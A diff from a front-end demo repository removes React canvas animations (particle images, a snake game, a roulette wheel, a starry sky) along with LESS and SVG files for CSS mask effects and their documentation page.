this.ctx.clearRect(0, 0, this.warp.width, this.warp.height);
let imgObj = this.imgsObj[this.index];
//
if(imgObj.width > imgObj.height) {
let ImgScale = imgObj.height / imgObj.width;
imgObj.width = this.warp.width * .5;
imgObj.height = imgObj.width * ImgScale;
} else {
let ImgScale = imgObj.width / imgObj.height;
imgObj.height = this.warp.height * .7;
imgObj.width = imgObj.height * ImgScale;
}
//canvas
this.ctx.drawImage(imgObj, this.warp.width / 2 - imgObj.width / 2, this.warp.height / 2 - imgObj.height / 2, imgObj.width, imgObj.height);
}
toParticle() {
//
let imageData = this.ctx.getImageData(0, 0, this.warp.width, this.warp.height);
let data = imageData.data;
for(let x = 0; x < imageData.width; x += this.radius * 2) {
for(let y = 0; y < imageData.height; y += this.radius * 2) {
let i = (x + y * this.warp.width) * 4;
if(data[i+3] !== 0 && data[i] !== 255 && data[i+1] !== 255 && data[i+2] !== 255) {
let dot = {
x: x, //x
y: y, // y
z: 0, // z
r: data[i], // rgba
g: data[i+1], // rgba
b: data[i+2], // rgba
a: 1, // rgba
ix: Math.random() * this.warp.width, //x
iy: Math.random() * this.warp.height, // y
iz: Math.random() * this.initz * 2 - this.initz, // z
ir: 255, // rgba
ig: 255, // rgba
ib: 255, // rgba
ia: 0, // rgba
tx: Math.random() * this.warp.width, //x
ty: Math.random() * this.warp.height, // y
tz: Math.random() * this.initz * 2 - this.initz, // z
tr: 255, // rgba
tg: 255, // rgba
tb: 255, // rgba
ta: 0, // rgba
};
this.dots.push(dot);
}
}
}
}
combineAnimate() {
let combined = false;
this.ctx.clearRect(0, 0, this.warp.width, this.warp.height);
this.dots.map(dot => {
if (Math.abs(dot.ix - dot.x) < 0.1 && Math.abs(dot.iy - dot.y) < 0.1 && Math.abs(dot.iz - dot.z) < 0.1) {
dot.ix = dot.x;
dot.iy = dot.y;
dot.iz = dot.z;
dot.ir = dot.r;
dot.ig = dot.g;
dot.ib = dot.b;
dot.ia = dot.a;
combined = true;
} else {
dot.ix += (dot.x - dot.ix) * 0.07;
dot.iy += (dot.y - dot.iy) * 0.07;
dot.iz += (dot.z - dot.iz) * 0.07;
dot.ir += (dot.r - dot.ir) * 0.3;
dot.ig += (dot.g - dot.ig) * 0.3;
dot.ib += (dot.b - dot.ib) * 0.3;
dot.ia += (dot.a - dot.ia) * 0.1;
combined = false;
}
return this.drowDot(dot);
});
if(!combined) {
requestAnimationFrame(() => {
return this.combineAnimate();
});
} else {
setTimeout(() => {
return this.separateAnimate();
}, 1500);
}
}
separateAnimate() {
let separated = false;
this.ctx.clearRect(0, 0, this.warp.width, this.warp.height);
this.dots.map(dot => {
if (Math.abs(dot.ix - dot.tx) < 0.1 && Math.abs(dot.iy - dot.ty) < 0.1 && Math.abs(dot.iz - dot.tz) < 0.1) {
dot.ix = dot.tx;
dot.iy = dot.ty;
dot.iz = dot.tz;
dot.ir = dot.tr;
dot.ig = dot.tg;
dot.ib = dot.tb;
dot.ia = dot.ta;
separated = true;
} else {
dot.ix += (dot.tx - dot.ix) * 0.07;
dot.iy += (dot.ty - dot.iy) * 0.07;
dot.iz += (dot.tz - dot.iz) * 0.07;
dot.ir += (dot.tr - dot.ir) * 0.02;
dot.ig += (dot.tg - dot.ig) * 0.02;
dot.ib += (dot.tb - dot.ib) * 0.02;
dot.ia += (dot.ta - dot.ia) * 0.03;
separated = false;
}
return this.drowDot(dot);
});
if(!separated) {
requestAnimationFrame(() => {
return this.separateAnimate();
});
} else {
setTimeout(() => {
return this.picLoop(); //使
}, 100);
}
}
drowDot(dot) {
let scale = this.initz / (this.initz + dot.iz);
this.ctx.save();
this.ctx.beginPath();
this.ctx.fillStyle = `rgba(${Math.floor(dot.ir)}, ${Math.floor(dot.ig)}, ${Math.floor(dot.ib)}, ${dot.ia})`;
this.ctx.arc(this.warp.width / 2 + (dot.ix - this.warp.width / 2) * scale, this.warp.height / 2 + (dot.iy - this.warp.height / 2) * scale, this.radius * scale, 0, Math.PI * 2);
this.ctx.fill();
this.ctx.closePath();
this.ctx.restore();
}
}
export default () => {
const canvasRef = useRef()
useEffect(() => {
if (canvasRef && canvasRef.current) {
new Particale({
warp: canvasRef && canvasRef.current,
imgsUrl: imgs,
radius: 1,
});
}
}, [])
return (
<canvas ref={canvasRef} width="500px" height="500px"></canvas>
)
}

View File

@ -1,50 +0,0 @@
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
async function init() {
var snake = [41, 40], //snake
direction = 1, //1-120-20
food = 43, //
n, //
box = canvasRef.current && canvasRef.current.getContext('2d');
//0399box[0~19]*[0~19]20px
function draw(seat, color) {
box.fillStyle = color;
box.fillRect(seat % 20 *20 + 1, ~~(seat / 20) * 20 + 1, 18, 18);
//colorxy
}
document.onkeydown = function(evt) { //direction
direction = snake[1] - snake[0] == (n = [-1, -20, 1, 20][(evt || event).keyCode - 37] || direction) ? direction : n;
console.log([-1, -20, 1, 20][(evt || event).keyCode - 37]);
};
function _move() {
snake.unshift(n = snake[0] + direction); //nn
if(snake.indexOf(n, 1) > 0 || n < 0 || n > 399 || direction == 1 && n % 20 == 0 || direction == -1 && n % 20 == 19) {
//if
return alert("GAME OVER!");
}
draw(n, "lime"); //
if(n == food) { //
while (snake.indexOf(food = ~~(Math.random() * 400)) > 0);
draw(food, "yellow");
} else { //
draw(snake.pop(),"black");
}
setTimeout(() => _move(), 150); //0.15
}
box && await _move()
}
return (
<div style={{ background: '#000' }}>
<button type="button" onClick={() => init()} >开始</button>
<canvas ref={canvasRef} width="400" height="400" />
</div>
)
}

View File

@ -1,562 +0,0 @@
---
nav:
title: FC
path: /funny
group:
title: canvas
order: 4
path: /canvas
---
# canvas
### 粒子背景
<code src="./demos/ParticleBG/index.jsx" />
### 粒子图片
<code src="./demos/ParticleIMG/index.jsx" />
### 贪吃蛇
<code src="./demos/Snake/index.jsx" />
### 液体海报
<code src="./demos/LiquidPost/index.jsx" />
### 大转盘doing
```jsx
import React, { useRef, useEffect } from 'react';
class Global {
constructor () {};
/**
* 判断是否为 PC 端,若是则返回 true否则返回 flase
*/
IsPC() {
let userAgentInfo = navigator.userAgent,
flag = true,
Agents = ["Android", "iPhone","SymbianOS", "Windows Phone","iPad", "iPod"];
for (let v = 0; v < Agents.length; v++) {
if (userAgentInfo.indexOf(Agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
};
/**
* 缓动函数,由快到慢
* @param {Num} t 当前时间
* @param {Num} b 初始值
* @param {Num} c 变化值
* @param {Num} d 持续时间
*/
easeOut(t, b, c, d) {
if ((t /= d / 2) < 1) return c / 2 * t * t + b;
return -c / 2 * ((--t) * (t - 2) - 1) + b;
};
windowToCanvas(canvas, e) {
let bbox = canvas.getBoundingClientRect(),
x = this.IsPC() ? e.clientX || event.clientX : e.changedTouches[0].clientX,
y = this.IsPC() ? e.clientY || event.clientY : e.changedTouches[0].clientY;
return {
x: x - bbox.left,
y: y - bbox.top
}
};
/**
* 绘制自动换行的文本
* @param {Obj} context
* @param {Str} t 文本内容
* @param {Num} x 坐标
* @param {Num} y 坐标
* @param {Num} w 文本限制宽度
* @param {Num} lineHeight 行高
*/
drawText(context, t, x, y, w, lineHeight = 20){
let chr = t.split(''),
temp = '',
row = [];
for (let a = 0; a < chr.length; a++){
if ( context.measureText(temp).width < w ) {
;
}
else{
row.push(temp);
temp = '';
}
temp += chr[a];
};
row.push(temp);
for(let b = 0; b < row.length; b++){
context.fillText(row[b], x, y + (b + 1) * lineHeight);
};
};
/**
* 定义圆角矩形的方法
* @param {Obj} context
* @param {Num} cornerX
* @param {Num} cornerY
* @param {Num} width
* @param {Num} height
* @param {Num} cornerRadius
*/
roundedRect(context, cornerX, cornerY, width, height, cornerRadius) {
if (width > 0) context.moveTo(cornerX + cornerRadius, cornerY);
else context.moveTo(cornerX - cornerRadius, cornerY);
context.arcTo(cornerX + width, cornerY,
cornerX + width, cornerY + height,
cornerRadius);
context.arcTo(cornerX + width, cornerY + height,
cornerX, cornerY + height,
cornerRadius);
context.arcTo(cornerX, cornerY + height,
cornerX, cornerY,
cornerRadius);
if (width > 0) {
context.arcTo(cornerX, cornerY,
cornerX + cornerRadius, cornerY,
cornerRadius);
}
else {
context.arcTo(cornerX, cornerY,
cornerX - cornerRadius, cornerY,
cornerRadius);
}
}
}
class RouletteWheel extends Global{
constructor(params) {
super()
this.width = params.width
this.height = params.height
this.centerX = params.centerX
this.centerY = params.centerY
this.outsideRadius = params.outsideRadius
this.evenColor = params.evenColor
this.oddColor = params.oddColor
this.loseColor = params.odd
this.textColor = params.textColor
this.awards = params.awards || []
this.startRadian = params.startRadian || 0
this.duration = params.duration || 4000
this.velocity = params.velocity || 10
// 回调函数
this.finish = params.finish
}
initCanvas() {
let canvas = this.canvas
canvas.width = this.width;
canvas.height = this.height;
let ctx = canvas.getContext('2d')
for (let i = 0; i < this.awards.length; i++) {
// const award = awards[i]
let _startR = this.startRadian + this.awardRadian * i
let _endR = _startR + this.awardRadian
if (i % 2 === 0) ctx.fillStyle = "#FF6766"
else ctx.fillStyle = "#FD5757"
ctx.beginPath(); //开始绘制路径
ctx.moveTo(250, 250); //将当前位置移动到新的目标点
ctx.arc(250, 250, this.radius, _startR, _endR);
ctx.closePath(); //绘制路径
ctx.fill();
}
ctx.beginPath(); //开始绘制路径
ctx.moveTo(250, 250); //将当前位置移动到新的目标点
ctx.arc(250, 250, 250, Math.PI / 2, Math.PI);
ctx.closePath(); //绘制路径
ctx.fillStyle = "#ccc"; //填充背景颜色
ctx.fill();
ctx.beginPath(); //开始绘制路径
ctx.moveTo(250, 250); //将当前位置移动到新的目标点
ctx.arc(250, 250, 250, Math.PI, Math.PI * 1.5);
ctx.closePath(); //绘制路径
ctx.fillStyle = "#ddd"; //填充背景颜色
ctx.fill();
ctx.beginPath(); //开始绘制路径
ctx.moveTo(250, 250); //将当前位置移动到新的目标点
ctx.arc(250, 250, 250, Math.PI * 1.5, Math.PI * 2);
ctx.closePath(); //绘制路径
ctx.fillStyle = "#aaa"; //填充背景颜色
ctx.fill();
}
}
export default () => {
const canvasRef = useRef()
useEffect(() => {
let rw = new RouletteWheel({
canvas: canvasRef.current,
width: '500',
height: '500',
awards: [ // 转盘内的奖品个数以及内容
'大保健', '话费10元', '话费20元', '话费30元', '保时捷911', '周大福土豪金项链',
// 'iphone 20', '火星7日游'
]
})
}, [])
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}
```
### 火焰
<code src="./demos/Fire/index.jsx" />
### 星空
```jsx
import React, { useRef, useEffect } from 'react';
/**
* 星空初始化
*/
class NightSky {
constructor(opt) {
this.opt = {
width: 500,
height: 500,
num: 120,
canvas: null,
...opt
}
this.opt.canvas.width = this.opt.width
this.opt.canvas.height = this.opt.height
this.ctx = this.opt.canvas && this.opt.canvas.getContext('2d')
this.opt.canvas.style.backgroundColor = '#000'
this.starList = []
this.draw = this.draw
this.init()
}
init() {
this.drawStar()
this.animate()
}
drawStar() {
let { width, height, num } = this.opt
for (let i = 0; i < num; i++) {
this.starList[i] = new Star({
maxRadius: 3,
ctx: this.ctx,
width,
height
})
this.starList[i].draw()
}
}
animate() {
let ctx = this.ctx
let starList = this.starList
let { width, height } = this.opt
function _move() {
ctx.clearRect(0, 0, width, height)
for (const i in starList) {
starList[i].move()
}
window.requestAnimationFrame(_move)
}
window.requestAnimationFrame(_move)
}
draw(val) {
return val
}
}
class Star {
constructor(opt) {
let { width, height, maxRadius = 2, ctx, speed = 0.5 } = opt
this.x = Math.random() * width
this.y = Math.random() * height
this.height = height
this.width = width
this.speed = speed
this.maxRadius = maxRadius
this.ctx = ctx
this.r = Math.random() * maxRadius
var alpha = (Math.floor(Math.random() * 10) + 1) / 10
this.color = `rgba(255, 255, 255, ${alpha})`
}
draw() {
this.ctx.fillStyle = this.color
this.ctx.shadowBlur = this.r * 2
this.ctx.beginPath()
this.ctx.arc(this.x, this.y, this.r * Math.random(), 0, 2 * Math.PI, false)
this.ctx.closePath()
this.ctx.fill()
}
move() {
this.y -= this.speed
if (this.y <= -10) {
this.y = this.height + 10
}
this.draw()
}
}
export default () => {
const canvasRef = useRef()
useEffect(() => {
let nightSky = new NightSky({
canvas: canvasRef.current,
width: 500,
height: 300
})
}, [])
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}
```
### 移动doing
```jsx
import React, { useRef, useEffect } from 'react';
class Move {
constructor(opt) {
const option = {
canvas: null,
width: document.documentElement.clientWidth, // 宽度
height: document.documentElement.clientHeight, // 高度
bgColor: '#000',
para: {
num: 100,
color: false, // 颜色 如果是false 则是随机渐变颜色
r: 0.9, // 圆每次增加的半径
o: 0.09, // 判断圆消失的条件,数值越大,消失的越快
},
...opt
}
const { canvas, width, height, bgColor } = option
this.option = option
this.round_arr = []
this.ctx = canvas.getContext('2d')
canvas.width = width
canvas.height = height
canvas.style.backgroundColor = bgColor
this.init(this)
}
init(opt) {
let tempSum = 0
window.onmousemove = function (event) {
let mouseX = event.clientX;
let mouseY = event.clientY;
if (tempSum < 5) {
tempSum++
} else {
opt.round_arr.push({
mouseX,
mouseY,
r: opt.option.para.r, // 设置半径每次增大的数值
o: 1, // 判断圆消失的条件,数值越大,消失得越快
})
tempSum = 0
opt.animate()
}
};
}
animate() {
let { para, width, height } = this.option
let color = 0, color2
let ctx = this.ctx
let round_arr = this.round_arr
if (!para.color) {
color += Math.random();
color2 = 'hsl(' + color + ',100%,80%)';
}
function _move() {
ctx.clearRect(0, 0, width, height);
for (var i = 0; i < round_arr.length; i++) {
ctx.fillStyle = color2;
ctx.beginPath();
ctx.arc( round_arr[i].mouseX ,round_arr[i].mouseY, round_arr[i].r, 0, Math.PI * 2);
ctx.closePath();
ctx.fill();
round_arr[i].r += para.r;
round_arr[i].o -= para.o;
if( round_arr[i].o <= 0){
round_arr.splice(i,1);
i--;
}
}
}
window.requestAnimationFrame(_move);
}
}
export default () => {
const canvasRef = useRef()
useEffect(() => {
let rw = new Move({
canvas: canvasRef.current,
width: 500,
height: 300
})
}, [])
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}
```
### 棒棒糖
```jsx
import React, { useRef, useEffect } from 'react';
class Lollipop {
constructor(opt) {
this.opt = {
canvas: null, // 画布
width: document.documentElement.clientWidth, // 宽度
height: document.documentElement.clientHeight, // 高度
bgColor: '#000',
...opt
}
this.ctx = this.opt.canvas.getContext('2d')
// 初始化画布
this.opt.canvas.width = this.opt.width
this.opt.canvas.height = this.opt.height
this.opt.canvas.style.backgroundColor = this.opt.bgColor
this.render()
}
render() {
this._drawCircle(this.ctx)
this._drawStick(this.ctx)
this._drawHalfCircle(this.ctx)
}
/**
* 画圆
* @param {*} ctx
*/
_drawCircle(ctx) {
ctx.beginPath()
ctx.arc(300, 300, 50, 0, Math.PI * 2, true)
ctx.closePath()
ctx.fillStyle = '#fff'
ctx.shadowBlur = 15
ctx.shadowColor = '#fff'
ctx.fill()
}
/**
* 棍子
* @param {*} ctx
*/
_drawStick(ctx) {
ctx.beginPath()
ctx.moveTo(340, 340)
ctx.lineTo(450, 450)
ctx.lineWidth = 8
ctx.lineCap = 'round'
ctx.strokeStyle = '#fff'
ctx.stroke()
ctx.closePath()
}
_drawHalfCircle(ctx) {
ctx.beginPath()
ctx.arc(300, 300, 30, 0, Math.PI * 0.6, false)
ctx.shadowBlur = 5
ctx.lineWidth = 5
ctx.lineCap = 'round'
ctx.strokeStyle = '#ccc'
ctx.stroke()
}
}
export default () => {
const canvasRef = useRef()
useEffect(() => {
new Lollipop({
canvas: canvasRef.current,
width: 500,
height: 800
})
}, [])
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}
```
### 时钟
<code src="./demos/Clock/index.jsx" />

View File

@ -1,106 +0,0 @@
@property --rotate {
syntax: "<angle>";
initial-value: 132deg;
inherits: false;
}
.cont {
position: relative;
min-height: 400px;
height: 500px;
background: #212534;
display: flex;
align-items: center;
flex-direction: column;
padding-top: 2rem;
padding-bottom: 2rem;
box-sizing: border-box;
z-index: 0;
}
.card {
background: #191c29;
width: 200px;
height: 300px;
padding: 3px;
position: relative;
border-radius: 6px;
justify-content: center;
align-items: center;
text-align: center;
font-size: 1.5em;
cursor: pointer;
font-family: cursive;
&_heart {
font-size: 150px;
color: #e00;
animation: beat .25s infinite alternate;
transform-origin: center;
}
:global :local{
/* Heart beat animation */
@keyframes beat {
to { transform: scale(1.4); }
}
@keyframes spin {
0% {
transform: rotate(0);
}
100% {
transform: rotate(360deg);
}
}
}
}
.card:hover {
color: rgb(88 199 250 / 100%);
transition: color 1s;
}
.card:hover:before, .card:hover:after {
animation: none;
opacity: 0;
}
.card::before{
content: "";
width: 104%;
height: 102%;
border-radius: 8px;
background-image: linear-gradient(
var(--rotate)
, #5ddcff, #3c67e3 43%, #4e00c2);
position: absolute;
z-index: -1;
top: -1%;
left: -2%;
animation: spin 2.5s linear infinite;
}
.card::after {
position: absolute;
content: "";
top: 20px;
left: 0;
right: 0;
z-index: -1;
height: 100%;
width: 100%;
margin: 0 auto;
transform: scale(0.8);
filter: blur(30px);
background-image: linear-gradient(
var(--rotate)
, #5ddcff, #3c67e3 43%, #4e00c2);
opacity: 1;
transition: opacity .5s;
animation: spin 2.5s linear infinite;
}

View File

@ -1,12 +0,0 @@
import styles from './index.less';
export default function () {
return (
<div className={styles.cont}>
<div className={styles.card}>
{/* <div className={styles.card_heart}>&#x2665;</div> */}
{/* <h1 className={styles.card_title}>hello! motherfucker!</h1> */}
</div>
</div>
);
}

View File

@ -1,42 +0,0 @@
.textMask {
position: relative;
height: 300px;
width: 100%;
overflow: hidden;
.bg {
height: 300px;
width: 100%;
background-image: url('https://images4.alphacoders.com/284/284838.jpg');
background-size: 100% 100%;
background-position: center;
transform: rotateY(180deg);
transition: all 2.5s ease-in-out;
}
.text {
position: absolute;
top: 50%;
left: 50%;
width: 100%;
background-image: url('https://images4.alphacoders.com/284/284838.jpg');
background-size: 100% 100%;
background-position: center;
font-size: 50px;
color: transparent;
text-transform: uppercase;
text-align: center;
line-height: 200px;
transform: translate(-50%, -50%);
background-clip: text;
-webkit-background-clip: text;
transition: all 2.5s ease-in-out;
}
&:hover {
.text {
background-size: 80% 80%;
}
.bg {
background-size: 150% 150%;
}
}
}

View File

@ -1,17 +0,0 @@
import React, { useRef, useEffect, FC } from 'react';
import './index.less'
export default (): any => {
useEffect(() => {
}, [])
return (
<div className="demo textMask">
<div className="bg"></div>
<div className="text">
Text Mask
</div>
</div>
)
}

View File

@ -1,14 +0,0 @@
.box {
width: 500px;
height: 500px;
position: relative;
overflow: hidden;
background: #ccc;
}
.ball {
width: 10px;
height: 10px;
border-radius: 5px;
position: absolute;
background: red;
}

View File

@ -1,40 +0,0 @@
import React, { useRef, useEffect, FC } from 'react';
import './index.less'
export default (): any => {
const ballRef = useRef(null)
function fun(v) {
let Vx = Math.random()*v;
let Vy = Math.sqrt(v*v - Vx*Vx);
let startX = Math.random()*490;
let startY = Math.random()*490;
const ball = ballRef.current;
Math.random() > 0.5 && (Vx *= -1);
Math.random() > 0.5 && (Vy *= -1);
ball.style.left = startX + 'px';
ball.style.top = startY + 'px';
function animate(){
if(startX >= 490 || startX <= 0)
Vx = -Vx;
startX += Vx;
if(startY >= 490 || startY <= 0)
Vy = -Vy;
startY += Vy;
ball.style.left = startX + 'px';
ball.style.top = startY + 'px';
window.requestAnimationFrame(animate);
}
window.requestAnimationFrame(animate);
}
useEffect(() => {
}, [])
return (
<div className="box">
<button onClick={() => fun(5)} type="button"></button>
<div className="ball" ref={ballRef}></div>
</div>
)
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 102 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 684 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.9 MiB

View File

@ -1,157 +0,0 @@
@keyframes ani {
from {
mask-position: 0 0;
}
to {
mask-position: 100% 0;
}
}
@keyframes ani2 {
from {
mask-position: 100% 0;
}
to {
mask-position: 0 0;
}
}
.buttonMask {
button {
width: 101%;
height: 100%;
font-family: 'Righteous', cursive;
font-weight: 300;
font-size: 20px;
letter-spacing: 1px;
cursor: pointer;
}
.mas {
margin-top: 12px;
position: absolute;
color: #000;
text-align: center;
width: 101%;
font-family: 'Righteous' sans-serif;
font-weight: 300;
font-size: 20px;
overflow: hidden;
}
.btn {
position: relative;
width: 100px;
height: 50px;
margin-left: auto;
margin-right: auto;
margin-top: 6vh;
overflow: hidden;
border: 1px solid ;
font-family: 'Righteous' sans-serif;
font-weight: 300;
font-size: 20px;
text-align: center;
transition: .5s;
letter-spacing: 1px;
}
.button-container-1 {
button {
background: #000;
mask: url('./img/button1.png');
mask-size: 2300% 100%;
border: none;
color: #fff;
-webkit-animation: ani2 .7s steps(22) forwards;
animation: ani2 .7s steps(22) forwards;
&:hover {
-webkit-animation: ani .7s steps(22) forwards;
animation: ani .7s steps(22) forwards;
}
}
}
.button-container-2 {
button {
background: #000;
mask: url('./img/button2.png');
mask-size: 3000% 100%;
border: none;
color: #fff;
-webkit-animation: ani2 .7s steps(29) forwards;
animation: ani2 .7s steps(29) forwards;
&:hover {
-webkit-animation: ani .7s steps(29) forwards;
animation: ani .7s steps(29) forwards;
}
}
}
.button-container-3 {
button {
background: #000;
mask: url('./img/button3.png');
mask-size: 7100% 100%;
border: none;
color: #fff;
-webkit-animation: ani2 0.7s steps(70) forwards;
animation: ani2 0.7s steps(70) forwards;
&:hover {
-webkit-animation: ani 0.7s steps(70) forwards;
animation: ani 0.7s steps(70) forwards;
}
}
}
.button-container-4 {
position: relative;
height: 45px;
width: 200px;
background: #fff;
color: #6cf;
text-align: center;
line-height: 45px;
-webkit-box-sizing:border-box;
box-sizing:border-box;
margin: 40px auto;
border: 1px solid #ccc;
cursor: pointer;
}
.button-container-4::before {
content: "";
position: absolute;
display: block;
width: 0;
height: 1px;
right: -2px;
top: -2px;
background-color: #6cf;
z-index: -1;
transition: width .4s linear, height .4s linear;
}
.button-container-4::after {
content: "";
position: absolute;
display: block;
width: 0;
height: 1px;
left: -2px;
bottom: -2px;
background-color: #6cf;
z-index: -1;
transition: width .4s linear, height .4s linear;
}
.button-container-4:hover {
&::before {
content: "";
transition: width .4s linear, height .4s linear;
width: 201px;
height: 46px;
}
&::after {
content: "";
transition: width .4s linear, height .4s linear;
width: 201px;
height: 46px;
}
}
}

View File

@ -1,28 +0,0 @@
import React, { useRef, useEffect, FC } from 'react';
import './index.less'
export default (): any => {
useEffect(() => {
}, [])
return (
<div className="buttonMask">
<div className="btn button-container-1">
<span className="mas">MASK1</span>
<button type="button" name="Hover">MASK1</button>
</div>
<div className="btn button-container-2">
<span className="mas">MASK2</span>
<button type="button" name="Hover">MASK2</button>
</div>
<div className="btn button-container-3">
<span className="mas">MASK2</span>
<button type="button" name="Hover">MASK3</button>
</div>
<div className="button-container-4">
</div>
</div>
)
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 329 KiB

View File

@ -1,47 +0,0 @@
.svgMask {
position: relative;
.rang {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 250px;
z-index: 10;
svg {
width: 100%;
height: inherit;
text {
text-anchor: middle;
}
.svgDemo {
&_rect {
fill: darken( #fff, 60%);
}
&_tit {
letter-spacing: -2px;
font-size: 6em;
font-weight: 800;
}
&_subtit {
letter-spacing: 8px;
font-size: 1.2em;
font-weight: 300;
text-transform: uppercase;
}
}
.down {
fill: #000;
mask: url(#svgDemo)
}
}
}
.intro {
position: relative;
background: url('./img/amazon_view.jpg');
background-repeat: no-repeat;
background-position: center;
background-size: cover;
width: 100%;
min-height: 100vh;
}
}

View File

@ -1,27 +0,0 @@
import React, { useRef, useEffect, FC } from 'react';
import './index.less'
export default (): any => {
useEffect(() => {
}, [])
return (
<div class="svgMask">
<div class="rang">
<svg>
<defs>
<mask id="svgDemo" class="svgDemo" width="100%" heigth="100%" x="0" y="0">
<rect class="svgDemo_rect" x="0" y="0" width="100%" height="100%" />
<text class="svgDemo_tit" x="50%" y="0" dy="1.58em">SVG + CSS</text>
<text class="svgDemo_subtit" x="50%" y="0" dy="9.8em">welcome!</text>
</mask>
</defs>
<rect class="down" x="0" y="0" width="100%" height="100%" />
</svg>
</div>
<div class="intro"></div>
</div>
)
}

View File

@ -1,18 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg width="45px" height="26px" viewBox="0 0 45 26" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<!-- Generator: Sketch 46.2 (44496) - http://www.bohemiancoding.com/sketch -->
<title>Group</title>
<desc>Created with Sketch.</desc>
<defs></defs>
<g id="Symbols" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
<g id="block/navigation_primary_white" transform="translate(-165.000000, -12.000000)" fill="#303233">
<g id="Group">
<g transform="translate(165.000000, 12.000000)">
<g id="systemicon/black/djilogo">
<path d="M17.9822999,14.0172253 L21.3322723,0 L28.6674466,0 L24.8560701,15.9459198 C24.1224248,19.0236511 21.8345765,19.7624088 19.7179972,19.7624088 L2.81348162,19.7624088 C0.951249717,19.7624088 -0.609344073,18.9712479 0.235498266,15.4180531 L1.75902636,9.05809025 C2.52845917,5.83081808 4.92750466,5.09206033 6.6619238,5.09206033 L18.464154,5.09206033 L17.5119489,9.06831527 L11.4868555,9.06831527 C10.6023912,9.06831527 10.1167027,9.26131253 9.87002406,10.2927615 L8.89609083,14.354651 C8.54971825,15.8117164 9.05969116,15.9114104 10.1243714,15.9114104 L15.6458826,15.9114104 C16.6568816,15.9114104 17.5451803,15.8487821 17.9822999,14.0172253 Z M37.8744387,5.0897597 L45,5.0897597 L41.5477774,19.7626645 L34.422216,19.7626645 L37.8744387,5.0897597 Z M29.1385644,5.0897597 L36.2641257,5.0897597 L32.9461065,18.8807564 C31.5618943,24.6604494 27.6955583,25.9973709 25.077953,25.9973709 L15.0817171,25.9973709 L16.2767664,21.0254545 C16.2767664,21.0254545 21.5937772,21.0510171 21.7829401,21.0280108 C23.684794,20.869523 25.5777009,19.9441586 26.2333804,17.1974624 L29.1385644,5.0897597 Z" id="LOGO"></path>
</g>
</g>
</g>
</g>
</g>
</svg>

Before

Width:  |  Height:  |  Size: 1.9 KiB

View File

@ -1,51 +0,0 @@
@keyframes move {
0% {
background-position: 0 0;
}
50% {
background-position: 100% 0;
}
}
.realMask {
position: relative;
justify-content: center;
align-items: center;
flex-direction: column;
z-index: 1;
height: 500px;
overflow: hidden;
&_bg {
background-image: url('https://sp-webfront.skypixel.com/skypixel/v2/public/website/assets/1535027674204-f6eca6369ec03e70262b58b0e25cda7b.jpg');
background-size: cover;
position: absolute;
top: -20px;
left: -20px;
right: -20px;
bottom: -20px;
filter: blur(15px);
z-index: -1;
}
&_mask {
position: absolute;
top: 50%;
left: 50%;
width: 200px;
height: 80px;
animation: move 88s infinite;
background-image: url(https://sp-webfront.skypixel.com/skypixel/v2/public/website/assets/1535027674204-f6eca6369ec03e70262b58b0e25cda7b.jpg);
background-size: cover;
mask-image: url('./img/dji.svg');
mask-size: cover;
transform: translate(-50%, -50%);
}
&_slogan {
color: white;
margin-top: 24px;
font-size: 36px;
font-weight: 300;
text-align: center;
}
}

View File

@ -1,16 +0,0 @@
import React, { useRef, useEffect, FC } from 'react';
import './index.less'
export default (): any => {
useEffect(() => {
}, [])
return (
<div className="realMask">
<div className="realMask_bg"></div>
<div className="realMask_mask"></div>
<div className="realMask_slogan">NiceNote</div>
</div>
)
}

View File

@ -1,32 +0,0 @@
@keyframes Gradient {
0%{background-position:50% 0%}
50%{background-position:50% 100%}
100%{background-position:50% 0%}
}
.gradientMask {
height: 100%;
width: 100%;
font-size: 50px;
letter-spacing: 1px;
font-weight: bold;
background: linear-gradient(0deg, #e55d87, #5fc3e4);
background-size: 400% 400%;
animation: Gradient 4s linear infinite;
svg {
display: block;
width: 100%;
height: 100%;
}
text {
text-anchor: middle;
}
svg mask rect {
fill: #eee;
}
svg > rect {
fill: #eee;
mask: url(#gradientMask_svg__mask);
}
}

View File

@ -1,28 +0,0 @@
import React, { useRef, useEffect, FC } from 'react';
import './index.less'
export default (): any => {
useEffect(() => {
}, [])
return (
<div className="gradientMask">
<svg
className="gradientMask_svg"
xmlns="http://www.w3.org/2000/svg"
width="100%"
height="100%"
>
<defs>
<mask id="gradientMask_svg__mask" x="0" y="0" width="100%" height="100%">
<rect x="0" y="0" width="100%" height="100%" />
<text x="50%" y="1em">Hello</text>
<text x="50%" y="2em">Motal</text>
</mask>
</defs>
<rect x="0" y="0" width="100%" height="100%" />
</svg>
</div>
)
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 329 KiB

View File

@ -1,47 +0,0 @@
.svgBgMask {
position: relative;
font-weight: 700;
h1, h2 {
margin: 0;
padding: 0;
}
.picture {
img {
position: absolute;
top: 0;
left: 0;
will-change: transform;
width: 100%;
height: 100vh;
z-index: -1;
}
svg {
display: block;
}
}
.article {
padding-top: 100px;
background-color: #222;
text-align: center;
color: #fff;
h1 {
margin: 0;
letter-spacing: 3pt;
font-weight: 300;
font-size: 50px;
}
ul {
margin-top: 100px;
li {
display: inline-block;
margin: 0 60px 100px;
h2 {
margin-top: 35px;
font-size: 1.1em;
font-weight: 300;
color: #888;
}
}
}
}
}

View File

@ -1,50 +0,0 @@
import React, { useRef, useEffect, FC } from 'react';
import './index.less'
const img = require('./img/amazon_view.jpg')
export default (): any => {
useEffect(() => {
}, [])
return (
<div className="svgBgMask">
<div className="picture">
<img src={img} alt="" />
<svg width="100%" height="1280">
<defs>
<linearGradient id="gradient" gradientTransform="rotate(76)">
<stop offset="18%" stop-color="#1a237e" />
<stop offset="80%" stop-color="#00e5ff" />
</linearGradient>
